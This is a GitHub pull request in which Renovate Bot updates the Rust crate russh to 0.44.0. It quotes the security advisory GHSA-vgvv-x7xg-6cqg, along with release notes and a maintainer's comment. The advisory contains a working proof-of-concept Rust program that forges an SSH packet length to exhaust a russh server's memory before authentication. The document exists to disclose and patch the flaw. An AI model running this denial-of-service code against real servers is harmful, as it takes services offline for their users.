Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update Rust crate russh to 0.44.0 [SECURITY] #6335

Merged
merged 2 commits into from
Aug 14, 2024

Conversation

oxide-renovate[bot]
Copy link
Contributor

This PR contains the following updates:

Package Type Update Change
russh dependencies minor 0.43.0 -> 0.44.0

GitHub Vulnerability Alerts

GHSA-vgvv-x7xg-6cqg

Summary

Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.

Details

An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.
After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.

https://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254

But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.

RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1

However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.

PoC

Running the echoserver example on port 2222 (cd russh && cargo run --release --example echoserver), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.

Rust code to run against the echo server

Cargo.toml

[package]
name = "poc"
version = "0.1.0"
edition = "2021"

[dependencies]
hex-literal = "=0.4.1"

main.rs

use std::time::Duration;
use std::{error::Error, net::SocketAddr};

use std::{
    io::{Read, Write},
    net::TcpStream,
};

fn main() -> Result<(), Box<dyn Error>> {
    loop {
        attempt()?;
        eprintln!("still running, trying again in a few seconds");
        std::thread::sleep(Duration::from_secs(2));
    }
}

fn attempt() -> Result<(), Box<dyn Error>> {
    for i in 0..5 {
        eprintln!("iteration {i}");
        let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?;
        s.write_all(b"SSH-2.0-OpenSSH_9.7\r\n")?;
        s.read(&mut [0; 1000])?;
        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.
        s.write_all(&hex_literal::hex!(
            "
        ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353
        1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c
        637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6
        e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69
        7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686
        13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669
        652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2
        d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d
        763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314
        06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630
        31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7
        63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274
        2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303
        1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572
        742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314
        06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73
        73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6
        5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c
        736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613
        22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d
        736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636
        f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331
        32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636
        f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331
        32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4
        06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575
        6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656
        e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68
        6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6
        5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163
        2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613
        22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63
        6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323
        5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065
        6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632
        d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61
        632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6
        f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f
        70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000
        "
        ))?;

        s.shutdown(std::net::Shutdown::Both)?;
    }
    Ok(())
}

Impact

Due to this allocation, a russh server can be brought to OOM, causing a DoS.
Since this happens before authentication, it can be done by any user that has access to the TCP port over the internet.


Release Notes

warp-tech/russh (russh)

v0.44.1

Compare Source

Security fixes

GHSA-vgvv-x7xg-6cqg - SSH OOM DoS through malicious packet length

It was possible for an attacker to cause Warpgate to allocate an arbitrary amount of memory by sending a packet with a malformed length field, potentially causing the application to get killed due to excessive RAM usage.

v0.44.0

Compare Source

Breaking changes

OpenSSL-free RSA
  • This release adds a default pure-Rust RSA implementation, meaning that you can disable the openssl feature to reduce your app size and improve portability and build speed.
  • RSA is now enabled by default in Preferred::DEFAULT when the openssl feature is disabled.
Preferred algorithms config changes - 77cc2f7
  • The fields specifying cipher algorithms in Preferred are now Cow<&'static, [Name]> instead of &'static [Name], allowing you to dynamically construct the lists. If you're using custom algorithm lists, you'll need to update your code:
  config.preferred = Preferred {
-   kex: &[CURVE25519],
+   kex: Cow::Borrowed(&[CURVE25519]),
    ..<_>::default()
  }
  • The type of Preferred::compression items is now russh::compression::Name instead of String.
  • All Name structs now implement TryFrom<&'static str> which will validate that the named algorithm is actually implemented in the library.
  • There are now companion algorithm lists to choose from dynamically: russh_keys::key::ALL_KEY_TYPES, russh::kex::ALL_KEX_ALGORITHMS, russh::cipher::ALL_CIPHERS, russh::compression::ALL_COMPRESSION_ALGORITHMS and russh::mac::ALL_MAC_ALGORITHMS.
Incorrect Ed25519 PKCS#8 key saving
  • Up to v0.43, russh-keys has generated incorrect key format when saving Ed25519 keys in PKCS#8 format. This is fixed in v0.44 but by default, v0.44 will fail to parse keys generated in v0.43.
  • To allow v0.44 to parse these keys, enable the legacy-ed25519-pkcs8-parser feature of the russh-keys crate.

Other changes

Fixes


Configuration

📅 Schedule: Branch creation - "" in timezone America/Los_Angeles, Automerge - "after 8pm,before 6am" in timezone America/Los_Angeles.

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@oxide-renovate oxide-renovate bot added the dependencies Pull requests that update a dependency file label Aug 14, 2024
@sunshowers
Copy link
Contributor

Not a security liability for omicron because russh is only used in tests:

% cargo tree -i -p russh
russh v0.43.0
└── end-to-end-tests v0.1.0 (/home/rain/dev/oxide/omicron/end-to-end-tests)

But we should get this in of course.

@sunshowers sunshowers enabled auto-merge (squash) August 14, 2024 21:37
@sunshowers sunshowers enabled auto-merge (squash) August 14, 2024 21:37
@oxide-renovate
Copy link
Contributor Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@sunshowers sunshowers merged commit 77230c7 into main Aug 14, 2024
23 checks passed
@sunshowers sunshowers deleted the renovate/crate-russh-vulnerability branch August 14, 2024 22:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant